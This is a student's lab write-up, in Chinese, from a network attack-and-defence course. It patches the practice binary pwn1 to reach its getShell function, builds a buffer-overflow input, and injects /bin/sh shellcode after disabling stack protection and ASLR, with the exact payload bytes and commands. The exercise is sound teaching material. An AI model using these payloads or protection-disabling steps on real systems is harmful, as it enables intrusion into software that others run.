2020-2021-3 20181321覃泳龙 《网络对抗技术》Exp1 PC平台逆向破解
1.掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码
- NOP——空操作——“0x90”
- JNE(Jump if Not Equal)——条件跳转——“0x75”
- JE(Jump if Equal)——条件跳转——”0x74“
- JMP——无条件跳转——“0xeb”(短跳转)、“0xe9”(近跳转)、“0xEA”(远跳转)
- CMP——比较指令——“0x39”
2.掌握反汇编与十六进制编程器
- 反汇编:objdump -d filename
我们在实验用使用的命令为 objdump -d pwn1 | more
“objdump”——object dump——项目转储
“-d”——disassemble——反汇编
“|”——管道符
“more”——分页显示
- 十六进制编程器
“十六进制编辑器,用来以16进制视图进行文本编辑的编辑工具软件
3.能正确修改机器指令改变程序执行流程
下面实践一
4.能正确构造payload进行bof攻击
下面实践三
实验实践
实践目标
-
本次实践的对象是一个名为pwn1的linux可执行文件。
-
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
-
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实践思路
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
实践一直接修改程序机器指令,改变程序执行流程
1.了解pwn1的作用
- 输入命令objdump -d pwn1
- pwn1程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,也就是我们输入什么内容,pwn1会通过读入,再打印出来,但是函数foo,这个函数有Buffer overflow漏洞。
2.计算机机器指令的和修改
- 如图所示,我们找到了 call 8048491对应的是 e8 d7 ff ff ff.我们可以通过观察foo函数的首地址,发现 d7 ff ff ff ff =-41=08048491-080484ba。所以我们要将本来跳转到foo的函数改成跳转到getshell函数,则可以更改d7 ff ff ff这个值
- getshell的函数的首地址为804847d,所以0804847d-080484ba=c3ffffff,所以我们要把 d7 ff ff ff改为 c3 ff ff ff。
3.对pwn2文件进行修改,并运行
-
在实验中我对pwn1进行了备份了pwn2,所以进行修改的为pwn2文件
-
使用vi打开pwn2文件,显示一大堆乱码
-
按下esc,输入:%!xxd ,将文件显示为16进制的形式
-
输入 /e8 d7 在文件找到对应位置
-
将“d7”修改为“c3”,输入:%!xxd -r将文件还原到原格式。
-
对pwn2文件进行反汇编进行验证效果
-
运行pwn1和pwn2进行比较
-
运行pwn2文件成功启动shell。可以正常输入命令。
实践二通过构造输入参数,造成BOF攻击,改变程序执行流
1.分析
- 函数foo,这个函数有Buffer overflow漏洞。即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,所以可以设计输入字符串将返回地址给覆盖掉,将EIP的地址指向getshell。从而达到攻击目的,
2.确认输入字符串哪几个字符会覆盖到返回地址080484ba。
-
当我们得知缓冲区长度是28字节后,基本已经可以还原此时此段堆栈的结构,调用foo函数后eip进栈,保存返回地址,这部分占4个字节,4个字节保存主函数ebp,然后紧跟着缓冲区的28字节。
-
输入gdb pwn1,然后输入 r 运行程序,对于输入字符串我们设计为1111111122222222333333334444444455555555和1111111122222222333333334444444412345678。然后输入 info r 来查看寄存器存的值。
-
从上面两张图可以发现输入字符串的5555和1234占据了EIP寄存器的值,说明etshell函数的入口地址应该放在输入1234的位置。
3.构造输入字符串
-
因为在输入中不能输入16进制的值,所以我们通过Perl语言通过输出重定向存储到一个文件上面。
perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input
-
通过xxd input 1来查看输入文件是否是符合设计[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
4.用input为输入运行文件
- 输入(cat input; cat)| ./pwn1,通过管道符“|”,作为pwn1的输入
- 成功的使用shell
实践三注入Shellcode并执行
1.准备工作
-
先利用apt-get install execstack命令安装execsstack软件包(班课里面有软件包的压缩包)
1 sudo apt-get install libelf-dev
2 ./configure
3 make
4 sudo make install
-
修改文件配置(本实验把pwn1复制pwn3,对pwn3进行操作)
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行X pwn3
more /proc/sys/kernel/randomize_va_space
echo “0” > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
2.准备攻击buf
-
使用的shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
-
构造两种攻击buf的方法
retaddr+nop+shellcode
nop+shellcode+retaddr
我们使用retaddr+nop+shellcode
-
构造攻击buf
为了方便调试,以及容易猜测要跳转的地址,设计了以下输入文件input_shellcode
perl -e ‘print “A” x 32;print “\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode
(这里最后没有用/00而不是/0a是为了方便之后用gdb调试)
3.在终端输入本段攻击buf并且调试
-
(cat input_shellcode;cat) | ./pwn3
-
打开另一个终端,查看./pwn3的运行端口(每次运行都不一样)
ps -ef | grep pwn3
可以发现此时端口号为1930
-
用gdb调试pwn3进程
-
attach 端口号
-
disassemble foo 观察foo函数
-
根据实际情况设置断点 此处为080484ae,然后输入c,看到上面界面
-
回到第一个终端,按下回车,出现以下画面
(注意:在第一个终端,一定不要先按回车,要不然ps -ef | grep pwn3会找不到进程)
-
回到第二个终端,输入 info r esp 查看esp寄存器
-
得到esp的地址A,然后输入命令x/16x A
-
发现\x1\x2\x3\x4,说明A为返回的地址(每台主机不同),我这里为0xffffd57c,而且shellcode在后面,所以得到的地址为0xffffd57c+4=0xffffd580
4.将\x1\x2\x3\x4的地址更改,形成新的攻击buf
-
perl -e ‘print “A” x 32;print “\x80\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > shellcode
-
然后执行运行命令
(cat shellcode;cat) | ./pwn3
成功执行shellcode。
实验总结
在这次实验中,首先是对指令的改写,通过反汇编来查看汇编语言,通过查看虚拟地址来查看函数的起始地址,第一个实践更改地址就通过看视频能够理解是如何算出填入内存的值到底多少。而后面两个实践,按部就班地照着视频来做,其实是可以完成的,但是如果想理解里面的原理,得花更多的时间,自己去操作多次,遇到问题了,返回去看看教程,知道自己问题出在哪里才能理解,就像实践三中的堆栈情况,得不断套用简单的数组去找到shellcode要覆盖的地址。
对于后面的nc拓展,在本地的两个终端上,可以执行(而且两个终端都得关闭堆栈可执行,和地址随机化才能运行bof攻击),而当主机和虚拟机nc是会出现Segmentation fault的提示,就是会溢出。